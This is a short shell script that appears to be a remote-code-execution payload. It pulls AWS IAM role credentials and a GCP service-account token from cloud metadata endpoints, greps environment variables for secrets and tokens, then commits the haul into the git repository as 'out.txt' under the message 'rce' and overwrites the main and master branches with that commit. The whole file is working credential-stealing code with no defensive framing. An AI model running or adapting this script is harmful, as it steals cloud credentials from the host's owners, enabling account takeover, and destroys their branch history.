#!/bin/sh
OUTPUT=$(
echo "===AWS_ROLE===";
curl -s --max-time 3 'http://169.254.169.254/latest/meta-data/iam/security-credentials/' 2>/dev/null;
echo;
echo "===AWS_CREDS===";
ROLE=$(curl -s --max-time 3 'http://169.254.169.254/latest/meta-data/iam/security-credentials/' 2>/dev/null | head -1);
if [ -n "$ROLE" ]; then
  curl -s --max-time 3 "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" 2>/dev/null;
fi;
echo;
echo "===HOSTNAME===";
hostname;
echo "===ENV===";
env 2>/dev/null | grep -iE 'AWS|ACCESS|SECRET|TOKEN' | head -20;
echo "===GCP_IMDS===";
curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' 2>/dev/null;
echo;
echo "===GCP_SCOPES===";
curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes' 2>/dev/null;
echo "===END==="
)
BLOB=$(echo "$OUTPUT" | git hash-object -w --stdin)
TREE=$(printf "100644 blob %s\tout.txt" "$BLOB" | git mktree 2>/dev/null)
if [ -z "$TREE" ]; then
  git update-index --add --cacheinfo 100644,$BLOB,out.txt
  TREE=$(git write-tree)
fi
HEAD_SHA=$(git rev-parse HEAD 2>/dev/null)
if [ -n "$HEAD_SHA" ]; then
  COMMIT=$(git commit-tree "$TREE" -p "$HEAD_SHA" -m "rce")
else
  COMMIT=$(git commit-tree "$TREE" -m "rce")
fi
git update-ref refs/heads/main "$COMMIT" 2>/dev/null
git update-ref refs/heads/master "$COMMIT" 2>/dev/null
